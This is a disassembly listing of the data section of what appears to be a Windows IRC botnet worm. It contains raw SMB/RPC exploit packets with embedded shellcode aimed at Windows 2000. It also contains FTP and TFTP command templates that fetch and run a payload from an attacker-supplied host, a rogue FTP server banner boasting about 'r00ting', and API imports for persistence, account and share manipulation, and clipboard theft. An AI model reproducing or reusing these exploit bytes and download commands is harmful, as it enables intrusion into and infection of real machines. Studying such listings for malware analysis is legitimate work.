dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
db 0
db 2 dup(0), 40h
db 0
db 2 dup(0), 25h
db 0
db 2 dup(0), 57h
aIndows200021_1 db 'indows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 4
dword_41A4A8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+306o
dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_41A4E8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+31Do
dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_41A550 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+337o
dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_41A5E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+351o
; sub_402972+3E0o
dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 0F2001F00h, 1F2207Ch, 0
dd 1000000h, 0
dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h
dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh
dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_41A748 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+36Bo
; sub_402972+3FAo
dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h
dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h
dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h
dd 0
dword_41A8A8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+385o
; sub_402972+414o
dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh
dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh
dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h
dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dd 0
dword_41AA08 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+39Fo
; sub_402972+42Eo
dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h
dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch
dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h
dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh
dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h
dd 0
dword_41AB68 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+3B9o
; sub_402972+448o
dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch
dd 100200h, 800000h, 0
dd 680000h, 0
dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
dd 0BE895Bh, 20000h, 0
dd 20000h, 2EB0000h, 760000h, 2 dup(0)
dword_41AC38 dd 0A0D7325h, 0 ; DATA XREF: sub_402E09+100o
; sub_406BAB+28B8o
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_402E09+BCo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402E09+95o
aAdminS__RootSe db 'Admin (%s) .. Root searching %s',0 ; DATA XREF: .nsp0:00402FC6o
align 4
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_4030CD+35o
aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_4030CD+10o
align 10h
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_403145+63o
align 4
dword_41AD24 dd 78h ; DATA XREF: sub_40322D+Ar
dword_41AD28 dd 80000002h ; DATA XREF: sub_4031BC+24r
off_41AD2C dd offset aSoftwareMicros ; DATA XREF: sub_4031BC+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 41C23Ch, 80000001h, 41C274h
dword_41AD40 dd 6272h ; DATA XREF: sub_40327E+Bo
; sub_404475+24o ...
unk_41AD44 db 1Fh ; DATA XREF: sub_4032EE+480o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_41AD74 db 1Fh ; DATA XREF: sub_4032EE+472o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
align 10h
unk_41ADB0 db 1Fh ; DATA XREF: sub_4032EE+3B6o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_41ADF4 dd 264021Fh, 6E776F1Fh, 64616F6Ch, 2BB0220h, 704F20BBh
; DATA XREF: sub_4032EE+34Do
dd 64656E65h, 7325203Ah, 2Eh
aOpen db 'open',0 ; DATA XREF: sub_4032EE+32Bo
; sub_406BAB+1216o ...
align 4
unk_41AE1C db 1Fh ; DATA XREF: sub_4032EE+2D6o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_41AE58 db 1Fh ; DATA XREF: sub_4032EE+257o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_41AE84 db 1Fh ; DATA XREF: sub_4032EE+1CDo
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_41AEBC db 1Fh ; DATA XREF: sub_4032EE:loc_403486o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 10h
unk_41AEF0 db 1Fh ; DATA XREF: sub_4032EE+191o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
unk_41AF28 db 1Fh ; DATA XREF: sub_4032EE+77o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_403882:loc_4038C5o
aInvalid db 'Invalid',0 ; DATA XREF: sub_403882:loc_4038BFo
aDisk db 'Disk',0 ; DATA XREF: sub_403882:loc_4038B9o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_403882:loc_4038B3o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_403882:loc_4038ADo
align 4
aRam db 'RAM',0 ; DATA XREF: sub_403882:loc_4038A7o
word_41AF80 dw 3Fh ; DATA XREF: sub_403882+1Fo
; sub_40A1F9:loc_40A2FBr
align 4
aFailed db 'failed',0 ; DATA XREF: sub_403913:loc_4039EBo
; sub_403A2E+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_403913+6Bo
align 4
unk_41AF94 db 1Fh ; DATA XREF: sub_403A2E+8Eo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
unk_41AFD4 db 1Fh ; DATA XREF: sub_403A2E+58o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_1 db 'A:\',0 ; DATA XREF: sub_403B00:loc_403B45o
dword_41B018 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403CA3+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B064 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_403CA3+E3o
; ---------------------------------------------------------------------------
loc_41B080: ; DATA XREF: sub_403CA3+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_41B094 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_403CA3+13Fo
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403E11+5B1o
aQuit db 'QUIT',0 ; DATA XREF: sub_403E11+59Do
; sub_406BAB+4F5o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_403E11+590o
align 10h
unk_41B0F0 db 1Fh ; DATA XREF: sub_403E11+545o
db 5Bh, 1Fh, 2
db 52h ; R
db 2 dup(4Fh), 54h
db 45h ; E
db 44h, 2, 1Fh
db 5Dh ; ]
db 1Fh, 20h, 0BBh
aFtpFinishedSDR db ' ftp finished: %s:%d running %s',0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403E11+526o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_403E11+4FAo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_403E11+4E2o
align 10h
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403E11+4D2o
align 10h
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403E11+4C1o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403E11+48Eo
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403E11+44Ao
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_403E11+411o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403E11+3E3o
align 4
aList db 'LIST',0 ; DATA XREF: sub_403E11+3D0o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_403E11+395o
align 10h
aPasv db 'PASV',0 ; DATA XREF: sub_403E11+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403E11+372o
aI: ; DATA XREF: sub_403E11+35Eo
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403E11+337o
aA: ; DATA XREF: sub_403E11+323o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_403E11+30Co
; sub_403E11+347o
align 10h
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403E11+2FCo
align 10h
off_41B280 dd offset dword_445750 ; DATA XREF: sub_403E11+2E8o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403E11+2D8o
align 4
aRest db 'REST',0 ; DATA XREF: sub_403E11+2C4o
align 10h
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403E11+2B4o
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_403E11+2A0o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403E11+290o
align 10h
aPass db 'PASS',0 ; DATA XREF: sub_403E11+27Co
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403E11+26Co
align 10h
aUser db 'USER',0 ; DATA XREF: sub_403E11+257o
; .nsp0:0041C36Co ...
align 4
aSS db '%s %s',0 ; DATA XREF: sub_403E11+246o
align 10h
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403E11+1C8o
align 4
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404555+58o
aS_0 db '%s',0 ; DATA XREF: sub_404555+3Bo
; sub_405EC4+19o
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_404555+16o
; sub_406BAB+5D3o
aNotice db 'NOTICE',0 ; DATA XREF: sub_404555+Fo
; sub_406BAB+5DFo
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4045F0+B3Co
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4045F0+B2Fo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4045F0+B22o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4045F0+B15o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4045F0+B08o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4045F0+B00o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4045F0:loc_4050DFo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4045F0+ABEo
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4045F0+AB6o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4045F0:loc_405095o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4045F0+A64o
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4045F0+A57o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4045F0+A4Ao
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4045F0+A42o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4045F0:loc_405021o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4045F0+A00o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4045F0+9F8o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4045F0:loc_404FD7o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4045F0+9B6o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4045F0+9AEo
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4045F0:loc_404F8Do
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4045F0+924o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4045F0+917o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4045F0+90Ao
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4045F0+8FDo
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4045F0+8F0o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4045F0+8E3o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4045F0+8D6o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4045F0+8C9o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4045F0+8BCo
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4045F0+8AFo
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4045F0+8A7o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4045F0:loc_404E82o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4045F0+84Do
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4045F0+7DBo
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4045F0+7CEo
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4045F0+7C1o
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4045F0+7B4o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4045F0+7A7o
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4045F0+79Ao
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4045F0+78Do
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4045F0+780o
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4045F0+773o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4045F0+76Bo
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4045F0:loc_404D46o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4045F0+62Co
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4045F0+61Fo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4045F0+612o
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4045F0+605o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4045F0+5F8o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4045F0+5EBo
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4045F0+5DEo
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_4045F0+5D1o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4045F0+5C4o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_4045F0+5B7o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4045F0+5AFo
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4045F0+59Do
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4045F0+590o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_4045F0+583o
align 4
aSend db 'send',0 ; DATA XREF: sub_4045F0+576o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_4045F0+569o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4045F0+55Co
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_4045F0+54Fo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4045F0+542o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4045F0+535o
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4045F0+528o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4045F0+51Bo
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4045F0+50Eo
aSocket db 'socket',0 ; DATA XREF: sub_4045F0+501o
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4045F0+4F4o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4045F0+4E7o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4045F0+4DAo
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4045F0+4CDo
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4045F0+4C0o
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4045F0+4B3o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4045F0+4ABo
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4045F0:loc_404A86o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4045F0+429o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4045F0+41Co
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4045F0+40Fo
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4045F0+402o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4045F0+3F5o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4045F0+3E8o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4045F0+3DBo
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4045F0+3CEo
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4045F0+3C6o
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4045F0:loc_4049A5o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4045F0:loc_40497Do
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4045F0+335o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4045F0+328o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4045F0+31Bo
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4045F0+30Eo
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_4045F0+301o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4045F0+2F4o
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4045F0+2E7o
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4045F0:loc_4048CFo
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4045F0+2AFo
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4045F0+2A2o
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4045F0:loc_40488Ao
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4045F0+252o
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4045F0+245o
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4045F0+238o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4045F0+22Bo
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4045F0+21Eo
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4045F0+216o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4045F0:loc_4047F5o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4045F0+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4045F0+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4045F0+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4045F0+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4045F0+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4045F0+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4045F0+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4045F0+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4045F0:loc_404725o
; sub_4149C4+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4045F0:loc_4046F8o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4045F0+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4045F0+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4045F0+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4045F0+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4045F0+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4045F0+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4045F0+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4045F0+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4045F0+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4045F0+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4045F0+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4045F0+Ao
align 4
